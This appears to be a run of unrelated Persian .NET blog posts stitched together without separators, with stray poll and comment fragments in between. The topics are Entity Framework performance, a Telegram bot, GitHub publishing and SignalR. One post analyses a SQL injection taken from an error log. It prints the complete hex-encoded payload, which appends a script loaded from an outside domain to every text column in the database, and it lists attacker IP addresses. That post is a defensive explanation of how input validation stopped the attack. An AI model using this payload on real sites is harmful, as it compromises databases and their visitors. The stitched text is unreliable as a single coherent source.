در قسمتهای قبلی (^ و ^) راهکارهایی جهت بالا بردن کارآیی، ارائه شد. در ادامه، به آخرین قسمت این سری اشاره خواهم کرد.
فراخوانی متد شناسایی تغییرات
یادآوری: قبل از هر چیز با توجه به این مقاله دانستن این نکته الزامی است که فراخوانی برخی متدها مانند DbSet.Add سبب فراخوانی DataContext.ChangeTracker.DetectChanges خواهند شد.
فرض کنید قصد افزودن 2000 موجودیت دانش آموز را دارید:
for (int i = 0; i < 2000; i++) { Pupil pupil = GetNewPupil(); db.Pupils.Add(pupil); } db.SaveChanges();
اگر به تصویر بالا دقت کنید بیش از 34 ثانیه (خط 193 قسمت سوم شکل) جهت افزودن 2000 موجودیت به کانتکست سپری شده است. در حالی که درج این 2000 موجودیت کمی بیش از 1 ثانیه (خط 195 قسمت سوم شکل) که 379 میلی ثانیه (قسمت دوم شکل) آن مربوط به اجرای کوئری اختصاص یافته طول کشیده است.
بیشترین زمان صرف شدهی برای درج 2000 موجودیت، در کد برنامه سپری شده است که با بررسی بیشتر در پروفایلر، متوجه زمان بر بودن فراخوانی متد ()DetectChanges که در فضای نام Data.Entity.Core وجود دارد خواهید شد. این متد 2000 بار به تعداد موجودیت هایی که قصد داریم به بانک اطلاعاتی اضافه نماییم، فراخوانی شده است.
همانطور که در شکل بالا مشخص است همان 34 ثانیه جهت ردیابی تغییرات صرف شده است. EF ردیابی تغییرات را بصورت پیش فرض هر زمانی که قصد افزودن یا ویرایش موجودیتی را داشته باشید، انجام خواهد داد و هر چه موجودیتهای بیشتری را بخواهید ویرایش یا اضافه نمایید، این زمان نیز بیشتر خواهد شد. در حقیقت زمان لازم برای الگوریتم ردیابی تغییرات بصورت نمایی با رشد موجودیتها افزوده میشود. به عبارت دیگر اگر این تعداد موجودیتها را به 4000 عدد برسانید، مدت زمان لازم بیش از 2 برابر افزوده خواهد شد.
راه حل اول:
استفاده از متد ()AddRange ارائه شده در EF6 که جهت درج دستهای (Bulk Insert) ارائه شده است:
var list = new List<Pupil>(); for (int i = 0; i < 2000; i++) { Pupil pupil = GetNewPupil(); list.Add(pupil); } db.Pupils.AddRange(list); db.SaveChanges();
راه حل دوم:
در سناریوهای پیچیده، مانند درج دستهای چندین موجودیت، شاید مجبور به خاموش نمودن این قابلیت شوید:
db.Configuration.AutoDetectChangesEnabled = false;
ردیابی تغییرات
هنگامی که موجودیتی را از بانک اطلاعاتی دریافت نمایید، میتوانید آن را ویرایش نمایید و مجددا به بانک اطلاعاتی اعمال نمایید. چون EF اطلاعی از قصد شما برای موجودیت نمیداند، مجبور است تغییرات شما را زیر نظر بگیرد که این زیر نظر گرفتن، هزینه و سربار دارد و این سربار و هزینه برای دادههای زیاد، بیشتر خواهد شد. بنابراین اگر قصد دارید اطلاعاتی فقط خواندنی را از بانک اطلاعاتی دریافت نمایید، بهتر است صراحتا به EF بگویید این موجودیت را تحت ردیابی قرار ندهد.string city = "New York"; List<School> schools = db.Schools .AsNoTracking() .Where(s => s.City == city) .Take(100) .ToList();
استفاده از متد AsNoTracking در کد بالا سبب خواهد شد 100 مدرسه که در شهر نیویورک وجود دارد توسط EF، بدون تحت نظر گرفتن آنها از بانک اطلاعاتی دریافت شوند و سرباری نیز تحمیل نشود.
ویوهای از قبل کامپایل شده
معمولا، هنگامی که از EF برای اولین بار استفاده مینمایید، ویوهایی ایجاد میگردد که برای ایجاد کوئریها مورد استفاده قرار میگیرند. این ویوها در طول حیات برنامه فقط یکبار ایجاد میشوند. ولی همین یکبار هم زمانبر هستند. خوشبختانه راههایی وجود دارد که ایجاد این ویوها را در زمان runtime انجام نداد و آن راه، استفاده از ویوهای از پیش کامپایل شده است. یکی از راههای ایجاد این ویوها استفاده از Entity Framework Power Tools است. بعد از نصب اکستنشن، بر روی فایل کانتکست راست کلیک کرده و سپس گزینهی Generate Views را از منوی Entity Framework انتخاب کنید.
توجه داشته باشید که هر تغییری را بعد از ایجاد این ویوها بر روی کانتکست اعمال نمایید، باید آنها را مجددا تولید کنید. برای آشنایی بیشتر با این ویوها به این لینک مراجعه کنید. هم چنین پکیج نیوگتی بنام EFInteractiveViews نیز برای این منظور تهیه و توزیع شده است.
حذف کوئریهای ابتدایی غیر ضروری
در هنگام شروع به کار با EF، چندین کوئری آغازین بر روی دیتابیس اجرا میشوند. یکی از کوئریهای آغازین جهت تشخیص نسخهی دیتابیس است که همانطور در تصویر زیر مشاهده میکنید، در حدود چند میلی ثانیه میباشد.
با توجه به توضیحات، در صورتیکه اطلاعی از نسخهی دیتابیس دارید، میتوانید این کوئری ابتدایی را تحریف نمایید. برای اینکار میتوان توسط متد ()ResolveManifestToken کلاسی که اینترفیس IManifestTokenResolver را پیاده سازی کرده است، نسخهی دیتابیس را برگردانیم و از یک رفت و برگشت به دیتابیس جلوگیری نماییم.
public class CustomManifestTokenResolver : IManifestTokenResolver { public string ResolveManifestToken(DbConnection connection) { return "2014"; } }
public class CustomDbConfiguration : DbConfiguration { public CustomDbConfiguration() { SetManifestTokenResolver(new CustomManifestTokenResolver()); } }
تخریب کانتکست
تخریب و از بین بردن کانتکست هنگامی که به آن نیاز نداریم بسیار ضروری است. یکی از روشهای اصولی برای Disposing کانتکست، محصور کردن آن بوسیله دستور Using است (البته فرض بر این است که قرار نیست از الگوهای اشاره شده استفاده نماییم). در صورت عدم تخریب صحیح کانتکست باید منتظر آسیب جدی به کارایی Garbage Collector جهت آزاد سازی منابع مورد استفاده کانتکست و هم چنین باز نمودن اتصالات جدید به دیتابیس باشید.
پاسخگویی به چندین درخواست بر روی یک کانکشن
EF از قابلیتی بنام Multiple Result Sets میتواند بهره ببرد که این قابلیت باعث میشود بر روی یک کانکشن ایجاد شده، یک یا چند درخواست از دیتابیس ارسال و یا دریافت شود که سبب کاهش تعداد رفت و برگشت به دیتابیس میشود. کاربرد دیگر این قابلیت، زمانی است که تاخیر زیادی (latency) بین اپلیکیشن و دیتابیس وجود دارد.
برای فعالسازی کافی است مقدار زیر را در کانکشن استرینگ اضافه نمایید:
MultipleActiveResultSets=True;
استفاده از متدهای ناهمگام
در C#5 و EF6 پشتیبانی خوبی از متدهای ناهمگام فراهم شده است و اکثر متدهایی مانند ToListAsync, CountAsync, FirstAsync, SaveChangesAsync و غیره که باعث رفت و برگشت به دیتابیس میشوند امکان پشتیبانی ناهمگام را نیز دارند. البته این قابلیت برای برنامههای یک درخواست در یک زمان شاید مفید نباشد؛ ولی برای برنامههای وبی برعکس. در برنامه وب جهت پشتیبانی از بارگذاری همزمان (concurrent) قابلیت ناهمگام (Async) سبب خواهد شد منابع تا زمان اجرای کوئری به ThreadPool بازگردانده شود و برای سرویس دهی مهیا باشند که باعث افزایش scalability خواهد شد.
بررسی و آزمایش با دادههای واقعی
در اکثر مواقع کارآیی با حجیم شدن دادهها کاهش پیدا میکند (البته در صورت عدم رعایت اصول استاندارد). بنابراین بررسی کارآیی در محیط هایی با حجم دادههای بالا ضروری است. هیچ چیز بدتر از آن نیست که همه چیز در محیط توسعه خوب و بی نقص باشد ولی در محیط عملیاتی به شکست بیانجامد. به همین جهت سعی کنید از ابزارهای تولید داده (^ و ^ و ^) برای ایجاد دادههای آزمایشی استفاده نمایید. سپس کارآیی کوئری خود را مورد بررسی و آزمایش قرار دهید.
اعضاء با تخصصهای خاص و تقسیم افراد بین لایهها (برنامه نویس backend،برنامه نویس ui و ...)
روش ترکیبی و سفارشی شده (لطفا در نظرات توضیح دهید)
چند روز پیش داشتم لاگهای خطای یکی از سایتهایی رو که درست کردهام بررسی میکردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم میشود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
خروجی، عبارت زیر خواهد بود که به صورت استادانهای مخفی شده است:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آنها اسکریپتی را اضافه میکند. (آدرسهای فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)
این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم میشود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف میشود)
IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188
این آی پیها یا چینی هستند یا کرهای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هموطن" برای مثال).
حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کردهاند؟ چرا مستقیما عبارت sql را وارد نکردهاند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل میشود. برای مثال میشود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روشها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید بهخاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روشهای صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آنها را در کتاب فارسی زیر میتوانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197
استفاده از StructureMap به عنوان یک IoC Container
این کد منه
private static Container defaultContainer() { var container = new Container(ioc => { // map same interface to different concrete classes ioc.For<IUser>().Use<EFUserService>(); ioc.For<IUnitOfWork>().HybridHttpOrThreadLocalScoped().Use<ApplicationDBContext>(); }); container.AssertConfigurationIsValid(); return container; }
نمیتونه اینو پیدا کنه :
.HybridHttpOrThreadLocalScoped()
در این مقاله قصد دارم نحوه ساخت یک بات تلگرامی را با استفاده از webhook که پیشنهاد خود تلگرام میباشد و همچنین کار با سایر apiهای مانند گرفتن عکس پروفایل و ... به اشتراک بگذارم. ما آموزش را بنا بر یک مثال کاربردی، در قالب یک بات تلگرامی قرار میدهیم که بعد از start شدن، پیغام خوش آمد گویی را نمایش میدهد و سپس جملات فارسی را از کاربر دریافت و معادل انگلیسی آنها را با استفاده از از google translate به کاربر نشان میدهد.
شروع به ساخت بات
به طور کلی دو روش برای ساخت یک بات تلگرامی وجود دارد:
1- استفاده از کتابخانههای آماده
2 - استفاده webhook
در روش 1، از یک سری از کتابخانههای آماده و تعریف شده، استفاده میکنیم.
مزایا:
بدون زحمت زیادی و فقط با فراخوانی توابع آماده، قادر خواهیم بود یک بات خیلی ساده را شبیه سازی کنیم.
هزینه آن نسبت به webhook کمتر است و شما میتوانید با یک vps، بات را اجرا کنید.
معایب:
1- این روش ازpolling استفاد میکند. یعنی دستور دریافت شده در یک حلقهی بی نهایت قرا میگیرد و هر بار چک میشود که آیا درخواستی رسیده است یا خیر؟ که سربار بالایی را بر روی سرور ما خواهد داشت.
2- بعد از مدتی down میشود.
3- اگر شمار درخواستها بالا رود، Down میشود.
روش دیگر استفاده از webhook است که اصولیترین روش و روشی است که خود سایت تلگرام آن را پیشنهاد دادهاست. اگر بخواهم توضیح کوتاهی درباره webhook بدهم، با استفاده از آن میتوانید تعیین کنید وقتی یک event، رخداد، api ایی فرخوانی شود؛ یا مثلا شما یک سایت را با api نوشتهاید (ASP.NET Web API) و آن را پابلیش کردهاید و الان میخواهید یک api جدید را بنویسید. در این حالت با استفاده از webhook، دیگر نیازی نیست تا کل پروژه را پابلیش کنید. یک پروژه api را مینویسید و آن را آپلود میکنید و درقسمت تنظیم وب هوک، آدرس دامین خودتون را میدهید. حتی میتوانید آن را با php یا هر زبانی که میتوانید بنویسید.
معایب:
1- هزینه آن. شما علاوه بر تهیهی هاست و دامین، باید ssl را هم فعال کنید که در ادامه بیشتر توضیح خواهیم داد. البته نگرانی برای پیاده سازی ssl نیست. چون سایتهایی هستند که این سرویسها را به صورت رایگان در اختیار شما میگذارند (مانند Lets encrypt).
2- تنظیم آن به مراتب سختتر از روش قبل است.
مزایا:
1- سرعت آن بیشتر است.
2- درخواستهای با تعداد بالا را میتوان به راحتی پاسخ داد.
3- وابستگی ثالثی ندارد.
اولین مرحله ساخت بات
تا اینجای کار به مباحث تئوری باتها پرداختیم. حال وارد اولین مرحلهی ساخت باتها میشویم. قبل از شروع، شما باید در بات BotFather@ عضو شوید و سپس یک بات جدید را بسازید. برای آموزش ساخت بات در BotFather، میتوانید از این مبحث استفاده کنید. بعد از ساخت بات در BotFather، شما داری یک token خواهید شد که یک رشتهی کد شدهاست.
ایجاد پروژهی جدید بات
- در ادامه سراغ ویژوال استودیو رفته و یک پروژهی Web api Empty را ایجاد کنید.
- سپس وارد سایت تلگرام شوید و کتابخانهی مربوطه را دریافت کنیدو یا میتوانید با استفاده از دستور زیر، این کتابخانه را نصب کنید:
Install-Package Telegram.Bot
[HttpPost] public async Task<IHttpActionResult> UpdateMsg(Update update) { //...... }
تنظیم کردن WebHook
- حال به قسمت تنظیم کردن webhook میرسیم. وارد فایل Global.asax.cs برنامه شوید و با دستور زیر، وب هوک را تنظیم کنید:
var bot = new Telegram.Bot.TelegramBotClient("Token"); bot.SetWebhookAsync("https://Domian/api/webhook").Wait();
- در این حالت بعد از اجرای ngrok، آدرس https آن را کپی کرده و در قسمت بالا، بجای Domain ذکر شده قرار دهید.
- برای آزمایش انجام کار، یک break-point را در قسمت action متد یاد شده قرار دهید و سپس برنامه را اجرا کنید.
- اکنون از طریق تلگرام وارد بات شوید و یک درخواست را ارسال کنید.
- اگر کار را به درستی انجام داده باشید، در صفحه ngrok پیغام 200 مبتنی بر ارسال صحیح درخواست را دریافت خواهید کرد و همچنین در قسمت breakpoints برنامه بر روی آرگومان update، میتوانید پراپرتیهای یک درخواست را به صورت کامل دریافت کنید.
- ارسال اولین درخواست ما از طریق بات start/ میباشد. در این حالت میتوان دریافت که کاربر برای بار اول است که از بات استفاده میکند.
- در اکشن متد از طریق خاصیت update.Message.Text میتوان به متن فرستاده شده دسترسی داشت.
- همچین اطلاعات کاربر در update.Message.From، همراه با درخواست، فرستاده میشود.
کار با ابزار ترجمهی گوگل و تکمیل پروژهی Web API
اکنون طبق مثال بالا میخواهیم وقتی کاربر برای اولین بار وارد شد، پیغام خوش آمد گویی به او نمایش داده شود. بعد از آن هر متنی را که فرستاد، معنای آن را از گوگل ترنسلیت گرفته و مجددا به کاربر ارسال میکنیم. برای اینکار کلاس WebhookController را به شکل زیر تکمیل خواهیم کرد:
namespace Telegrambot.Controllers { public class WebhookController : ApiController { Telegram.Bot.TelegramBotClient _bot = new Telegram.Bot.TelegramBotClient("number"); Translator _translator = new Translator(); [HttpPost] public async Task<IHttpActionResult> UpdateMsg(Update update) { if (update.Message.Text == "/start") { await _bot.SendTextMessageAsync(update.Message.From.Id, "Welcome To My Bot"); } else { var translatedRequest = _translator.Translate(update.Message.Text, "Persian", "English"); await _bot.SendTextMessageAsync(update.Message.From.Id, translatedRequest); } return Ok(update); } } }
- با استفاده از update.Message.From.Id میتوان پیغام را به شخصی که درخواست دادهاست فرستاد.
- دقت کنید هنگام ارسال درخواست، در ngrok آیا درخواستی فرستاده میشود یا خطایی وجود دارد.
نکته! برای استفاده از بات باید حتما از ssl استفاده کنید. اگر نیاز به خرید این سرویس را ندارید، از این لینک نیز میتوانید سرویس مورد نظر را بعد از 24 ساعت بر روی دامین خود تنظیم کنید.
توضیحات بیشتر در این مورد را مثلا دکمههای پویا و گرفتن عکس پروفایل و ....، در مقالهی بعدی قرار خواهم داد.
شما میتوانید از این لینک پروژه بالا را دریافت و اجرا کنید .
بارگذاری یک یوزرکنترل با استفاده از جیکوئری
اگر خودتون در این مورد کار کردین هم یک توضیحی بدین. اگر هم کاری نکردین که من خودم اگر وقت کردم یک تستی میکنم و اگر جواب داد به شما هم خبر میدم. نباید کار سختی باشه ولی بازم تا شروع نکنم نمیتونم قطعی نظر بدم.
تنظیمات مقدماتی GitHub
در ابتدا نیاز است یک مخزن کد خالی را در GitHub ایجاد کنید. برای این منظور به برگهی Repositories در اکانت GitHub خود مراجعه کرده و بر روی دکمهی New کلیک کنید:
سپس در صفحهی بعدی، نام پروژه را به همراه توضیحاتی وارد نمائید و بر روی دکمهی Create repository کلیک کنید. در اینجا سایر گزینهها را انتخاب نکنید. نیازی به انتخاب گزینهی READ ME و یا انتخاب مجوز و غیره نیست. تمام این کارها را در سمت پروژهی اصلی میتوان انجام داد و یا VS.NET فایلهای ignore را به صورت خودکار ایجاد میکند. در اینجا صرفا هدف، ایجاد یک مخزن کد خالی است.
از اطلاعات صفحهی بعدی، تنها به آدرس مخصوص GitHub آن نیاز داریم. از این آدرس در VS.NET برای ارسال اطلاعات به سرور استفاده خواهیم کرد:
تنظیمات VS.NET برای ارسال پروژه به مخزن GitHub
پس از ایجاد یک مخزن کد خالی در GitHub، اکنون میتوانیم پروژهی خود را به آن ارسال کنیم. برای این منظور از منوی File، گزینهی Add to source control را انتخاب کنید و در صفحهی باز شده، گزینهی Git را انتخاب نمائید:
سپس در کنار برگهی Solution Explorer، برگهی Team Explorer را انتخاب کنید. در اینجا بر روی دکمهی Home در نوار ابزار آن کلیک کرده و سپس بر روی دکمهی Unsynced commits کلیک نمائید.
در ادامه در صفحهی باز شده، همان آدرس مخصوص مخزن کد جدید را در GitHub وارد کرده و بر روی دکمهی Publish کلیک کنید:
در اینجا بلافاصله صفحهی لاگینی ظاهر میشود که باید در آن مشخصات اکانت GitHub خود را وارد نمائید:
به این ترتیب عملیات Publish اولیه انجام شده و تصویر ذیل نمایان خواهد شد:
در اینجا بر روی دکمهی Sync کلیک کنید. به این ترتیب مخزن کد GitHub به پروژهی جاری متصل خواهد شد:
سپس نیاز است فایلهای موجود را به مخزن کد GitHub ارسال کرد. بنابراین پس از مشاهدهی پیام موفقیت آمیز بودن عملیات همگام سازی، بر روی دکمهی Home در نوار ابزار کلیک کرده و اینبار گزینهی Changes را انتخاب کنید:
در اینجا پیام اولین ارسال را وارد کرده و سپس بر روی دکمهی Commit کلیک کنید:
پس از مشاهدهی پیام موفقیت آمیز بودن commit محلی، نیاز است تا آنرا با سرور نیز هماهنگ کرد. به همین جهت در اینجا بر روی لینک Sync کلیک کرده و در صفحهی بعدی بر روی دکمهی Sync کلیک کنید:
اندکی صبر کنید تا فایلها به سرور ارسال شوند. اکنون اگر به GitHub مراجعه کنید، فایلهای ارسالی قابل مشاهده هستند:
اعمال تغییرات بر روی پروژهی محلی و ارسال به سرور
در ادامه میخواهیم دو فایل README.md و LICENSE.md را به پروژه اضافه کنیم. پس از افزودن آنها، یا هر تغییر دیگری در پروژه، اینبار برای ارسال تغییرات به سرور، تنها کافی است به برگهی Team explorer مراجعه کرده و ابتدا بر روی دکمهی Home کلیک کرد تا منوی انتخاب گزینههای آن ظاهر شود. در اینجا تنها کافی است گزینهی Changes را انتخاب و دقیقا همان مراحل عنوان شدهی پیشین را تکرار کرد. ابتدا ورود پیام Commit و سپس Commit. در ادامه Sync محلی و سپس Sync با سرور.
ارتباطات بلادرنگ و SignalR
در اینجا کلمه بلادرنگ به معنای ارسال اطلاعات از طرف سرور به کلاینتها با فاصله زمانی بسیار کوتاهی از به روز رسانی اطلاعات صورت گرفته در سمت سرور است.
نمونهای از این برنامهها شامل موارد ذیل هستند:
- اطلاع رسانی همزمان به گروهی از کاربران
- جستجوهای زنده و به روز رسانیهایی از این دست
- نمایش بلادرنگ قیمتها و وضعیت تجاری محصولات و سهامها
- بازیهای تعاملی
- برنامههای گروهی و تعاملی (مانند برنامههای Chat)
- برنامههای شبکههای اجتماعی (برای مثال پیام جدیدی دارید؛ شخص خاصی آنلاین یا آفلاین شد و امثال آن)
بنابراین به صورت خلاصه قصد داریم به ارائه بازخوردها و اطلاع رسانیهای بلادرنگ یا نسبتا سریع و به روز از سمت سرور به کلاینتها برسیم.
برای مثال یک دیتاگرید را درنظر بگیرید. دو کاربر در شبکه صفحه یکسانی را گشودهاند و یکی از آنها مشغول به ویرایش و یا حذف اطلاعات است. در ارتباطات بلادرنگ کاربر یا کاربران دیگر نیز باید (یا بهتر است) در زمانیکه گرید یکسانی را گشودهاند، بلافاصله آخرین تغییرات را ملاحظه کنند. یا حتی حالتی را درنظر بگیرید که شخصی SQL Server management studio را گشوده و در آنجا مشغول به تغییر اطلاعات گردیده است. در این حالت نیز بهتر است آخرین تغییرات بلافاصله به اطلاع کاربران رسانده شوند.
معرفی الگوی Push service
البته باید دقت داشت که الگوی push service یک الگوی رسمی ذکر شده در گروههای مرسوم الگوهای طراحی نیست، اما مفهوم آن سرویسی است که چندین کار ذیل را انجام میدهد:
الف) پذیرش اتصالات از چندین مصرف کننده. مصرف کنندهها در اینجا الزاما محدود به کلاینتهای وب یا دسکتاپ نیستند؛ میتوانند حتی یک سرور یا سرویس دیگر نیز باشند.
ب) قادر است اطلاعات را به مصرف کنندههای خود ارسال کند. این سرویس میتواند یک برنامه ASP.NET باشد یا حتی یک سرویس متداول ویندوز.
ج) در اینجا چندین منبع خارجی مانند یک بانک اطلاعاتی یا تغییرات رخ داده توسط یک سخت افزار که میتوانند سبب بروز رخدادهایی در push service گردند نیز میتواند وجود داشته باشند. هر زمان که تغییری در این منابع خارجی رخ دهد، مایل هستیم تا مصرف کنندهها را مطلع سازیم.
پروتکل HTTP و ارتباطات بلادرنگ
پروتکلی که در ارتباطات بلادرنگ مبتنی بر SignalR مورد استفاده قرار میگیرد، HTTP است و از قابلیتهای Request و Response آن در اینجا بیشترین بهره برده میشود. پیاده سازی Push عموما بر مبنای یکی از روشهای متداول زیر است:
1) Periodic polling
به این معنا که مثلا هر 10 ثانیه یکبار، کاری را انجام بده؛ مانند ارسال متناوب: آیا تغییری رخ داده؟ آیا تغییری رخ داده؟ و .... به همین ترتیب. این روش اصلا بهینه نبوده و منابع زیادی را خصوصا در سمت سرور مصرف خواهد کرد. برای مثال:
function getInfo() { $.ajax("url", function ( newInfo){ if ( newInfo != null) { // do something with the data } }); // poll again after 20 seconds setTimeout(getInfo,20000); } // start the polling loop getInfo();
2) Long polling
به آن HTTP Streaming یا Comet هم گفته میشود. این روش نسبتا هوشمند بوده و کلاینت اتصالی را به سرور برقرار خواهد کرد. سرور در این حالت تا زمانیکه اطلاعاتی را در دسترس نداشته باشد، پاسخی نخواهد داد. برای نمونه:
function getNewInfo(){ $.ajax("url", function (newinfo) { // do something with the data // start the new request getNewINfo(); }); } // start the polling loop getNewInfo();
این روش نسبت به حالت Periodic polling بهینهتر است اما نیاز به اتصالات زیادی داشته و همچنین تردهای بسیاری را در سمت سرور به خود مشغول خواهد کرد.
3) Forever frame
فقط در IE پشتیبانی میشود. در این روش یک Iframe مخفی توسط مرورگر تشکیل شده و از طریق آن درخواستی به سرور ارسال میشود. سپس سرور متناوبا با تزریق اسکریپتهایی به این Iframe سبب فراخوانی مجدد وضعیت خود میگردد. در این روش نیز به ازای هر درخواست و پاسخ، ارتباطات گشوده و بسته خواهند شد.
4) Server Sent Events یا SSE
این مورد جزو استاندارد HTML5 است. در اینجا اتصالی برقرار شده و دادهها از طریق اتصالات HTTP منتقل میشوند.
var eventSrc = new EventSource("url"); // register event handler for the message eventSrc.addEventListener( "message",function (evt) { //process the data });
تنها تفاوت آن با حالت long polling در این است که پس از ارائه پاسخ به کلاینت، اتصال را قطع نمیکند. Long polling نیز اتصال را باز نگه میدارد، اما این اتصال را بلافاصله پس از ارائه پاسخ، میبندد.
5) Web sockets
Web sockets در سکوی کاری ویندوز، تنها در ویندوزهای 8، ویندوز سرور 2012 و دات نت 4 و نیم پشتیبانی میشود. هرچند این روش در حال حاضر به عنوان بهترین روش Push مطرح است اما به دلیل محدودیتی که یاد شد، مدتی طول خواهد کشید تا استفاده گستردهای پیدا کند.
var socket = new WebSocket("url"); socket.onmessage = function (msg) { var newInfo = msg.data; // do something with the data } // client can also send request to server socket.send(.... )
بلی. اگر به وضعیت فعلی سکوی کاری ASP.NET نگاه کنیم:
SignalR را میتوان مشاهده کرد که در گروه ساخت سرویسهای آن قرار گرفته است. همانطور که ملاحظه میکنید، این سرویس جدید آنچنان وابستگی به سایر اجزای آن نداشته و میتواند خارج از ASP.NET نیز مورد استفاده قرار گیرد.
SignalR چیست؟
SignalR راه حلی است سمت سرور برای نوشتن push services. همچنین به همراه کتابخانههای سمت کاربری است که ارتباطات push services را در انواع و اقسام سکوهای کاری میسر میسازد. SignalR سورس باز بوده و برای اعمال غیرهمزمان (asynchronous) بهینه سازی شده است.
SignalR بر اساس مدل ذهنی اتصالات ماندگار (persistent connections) طراحی شده است. اتصالات ماندگار را باید به عنوان اتصالاتی سریع و غیرطولانی درنظر گرفت. در اینجا Signal یک اتصال است که اطلاعاتی به آن ارسال میگردد و هدف، انتقال قطعات کوچکی از اطلاعات است و هدف، ارسال حجم عظیمی از اطلاعات نیست. برای مثال اطلاع رسانی سریعی صورت گیرد که تغییراتی رخ داده است و سپس ادامه کار و دریافت اطلاعات واقعی توسط فرآیندهای متداول مثلا HTTP GET انجام شود. البته باید دقت داشت SignalR نیز نهایتا از یکی از 5 روش push بررسی شده در این قسمت استفاده میکند. اما بر اساس تواناییهای کلاینت و سرور، به صورت هوشمند بهترین و بهینهترین انتخاب را به کاربر ارائه میدهد.
اتصالات ماندگار قسمت سطح پایین SignalR را تشکیل میدهند. سطح بالاتر آن که این مفاهیم را به شکلی کپسوله شده ارائه میدهد، Hubs نام دارد که پایه اصلی دوره جاری را تشکیل خواهد داد.
همانطور که عنوان شد، SignalR سورس باز بوده و دارای مخزن کدی عمومی در GitHub است. همچنین بستههای تشکیل دهندهی آن از طریق NuGet نیز قابل دریافت هستند. این بستهها شامل هسته SignalR و کلاینتهای آن مانند کلاینتهای WinRT، سیلورلایت، jQuery، ویندوز فون8 و امثال آن هستند.
شروع کار با SignalR
تیم SignalR مثالی مقدماتی از نحوه کار با SignalR را به صورت یک بسته NuGet ارائه دادهاند که از طریق آدرس و فرمان ذیل قابل دریافت است:
PM> Install-Package Microsoft.AspNet.SignalR.Sample
پس از دریافت مثال، یکبار پروژه را کامپایل کرده و سپس بر روی فایل StockTicker.html آن کلیک راست نموده و گزینه مشاهده در مرورگر را انتخاب کنید. همچنین برای اینکه این مثال را بهتر مشاهده کنید، بهتر است دو وهله از مرورگر را باز کرده و آدرس باز شده را در آن بررسی کنید تا اعمال تغییرات همزمان به کلاینتهای متفاوت را بهتر بتوان بررسی و مشاهده کرد.